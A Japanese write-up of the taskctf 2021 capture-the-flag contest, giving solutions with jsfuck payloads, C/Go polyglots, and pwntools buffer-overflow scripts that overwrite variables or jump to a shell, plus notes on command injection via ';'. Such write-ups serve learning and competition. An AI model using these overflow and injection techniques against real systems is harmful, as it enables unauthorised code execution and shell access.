taskctf 2021 writeup
2021/12/13に行われたtaskctfのwriteupです。
主催者のtaskerさんが誕生日とのことで行われているCTFとのことです。
今回は36チーム中7位(全問正解)でした。
以下、writeupです。
Welcome
welcome (100pt)
Flag: taskctf{glhf!}
Misc
js (30pt)
6種類の文字列でjavascriptを動作させるコードとして、jsfuckが有名です。 github.com
今回は以下のサイトでコードを生成しました。 www.jsfuck.com
生成したコードは以下。
これをcurlのリクエストボディとしてサーバーに送信します。
(リクエストヘッダのContent-Typeはapplication/jsonに直したほうがいいですね)
$curl 34.145.29.222:30009 -X POST -d '{"want_flag": "(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]"}' -v -H "Content-Type: application/json" Note: Unnecessary use of -X or --request, POST is already inferred. * Trying 34.145.29.222:30009... * Connected to 34.145.29.222 (34.145.29.222) port 30009 (#0) > POST / HTTP/1.1 > Host: 34.145.29.222:30009 > User-Agent: curl/7.74.0 > Accept: */* > Content-Type: application/json > Content-Length: 152 > * upload completely sent off: 152 out of 152 bytes * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < X-Powered-By: Express < Content-Type: text/html; charset=utf-8 < Content-Length: 32 < ETag: W/"20-AleVhd+mX47TAr92SixsAMSGfBQ" < Date: Sun, 12 Dec 2021 13:36:11 GMT < Connection: keep-alive < * Connection #0 to host 34.145.29.222 left intact taskctf{js_1s_4_tr1cky_l4ngu4ge}
Flag: taskctf{js_1s_4_tr1cky_l4ngu4ge}
Polyglot (30pt)
こちらが非常に参考になりました。
blog.nelhage.com
コードは以下
//\ /* #include <stdio.h> int main(void){FILE*f;char d[99];f=fopen("flag","r");fgets(d,99,f);printf(d);} #if 0 //*/ package main import(."fmt";."io/ioutil") func main(){f,_:=ReadFile("flag");Print(string(f))} //\ /* #endif //*/
Flag: taskctf{s0_curi0us}
Polygolf (50pt)
この問題に一番悩まされました。
やることはpolyglotと変わらないのですが、コードの長さを185バイト以内に収める必要があります。
強い人たちが短いコードを書きまくって競ってたの本当に面白かったです。
polyglotのようにプログラム上でファイルを読み込むのではなく、OSコマンドを叩く形にしました。(というか、それ以外のやり方が思いつかなかった...)
//\ /* main(){system("cat f*");} #if 0 //*/ package main import(."fmt";."os/exec") func main(){f,_:=Command("cat","flag").Output();Printf("%s",f)} //\ /* #endif //*/
Flag: taskctf{H4ve_y0u_kn0w_p0lygl0t}
Pwnable
super_easy (30pt)
BOFでtask.is_doneを0以外の値に書き換えるとフラグゲット。
適当な文字列を流し込んどけばOKです。
Flag: taskctf{bre4k_e4sily}
super_easy2 (20pt)
BOFでtask.is_doneを0以外、task.scoreを0x1337に書き換えます。
from pwn import * io = remote("34.145.29.222", 30003) #io = gdb.debug("./super_easy2", ''' # break *main+115 # continue # ''') io.recvline() payload = b"A"*16 + b"\x00\x00\x37\x13" + b"\x37\x13" print(payload) io.sendline(payload) io.interactive()
Flag: taskctf{y0u_c4n_4ls0_0verwr1te}
script_kiddie (20pt)
ソースコードを見るとエスケープなしでOSコマンドを叩いているので、;
を使って好きなコマンドをリモートサーバーで実行しました。
Flag: taskctf{n0w_y0u_g0t_shell}
super_easy3 (30pt)
ソースを見るとさらに現在時刻との差分を見られています。
BOFで時刻を1日以内に調整した値を送り込んで条件を満たすようにしました。
from pwn import * io = remote("34.145.29.222", 30004) #io = gdb.debug("./super_easy3", ''' # break *main+135 # continue # ''') io.recvline() payload = b"A"*16 payload += p32(0x1337) payload += p32(0x1337) payload += p32(0x1337) payload += p32(0x0) payload += p32(1639312200) print(payload) io.sendline(payload) io.interactive()
Flag: taskctf{n0w_y0u_kn0w_t1me_t}
script_kiddie2 (30pt)
ソースを見るとscript_kiddieよりも入力できる文字が少なくなっています。
shを経由させてフラグを取得しました。
Flag: taskctf{sh_1s_als0_0k}
prediction (50pt)
BOFで/bin/shを呼び出しているsystem関数に飛ばして実行させました。
from pwn import * io = remote("34.145.29.222", 30006) #io = process("./prediction") #io = gdb.debug("./prediction", ''' # break main # continue # ''') io.recvuntil("flag?") payload = b"taskctf{" payload += b"A"*48 payload += p64(0x4013f7) print(payload) io.sendline(payload) io.interactive()
Flag: taskctf{r0p_1s_f4mous_way}
おわりに
taskerさん開催お疲れ様でした!
去年とは毛色の違う問題で楽しめました。
polygolfでは本当に発狂しそうになりましたが、ビールを飲んだことで解けました。
リフレッシュは大事。
来年も楽しみにしています!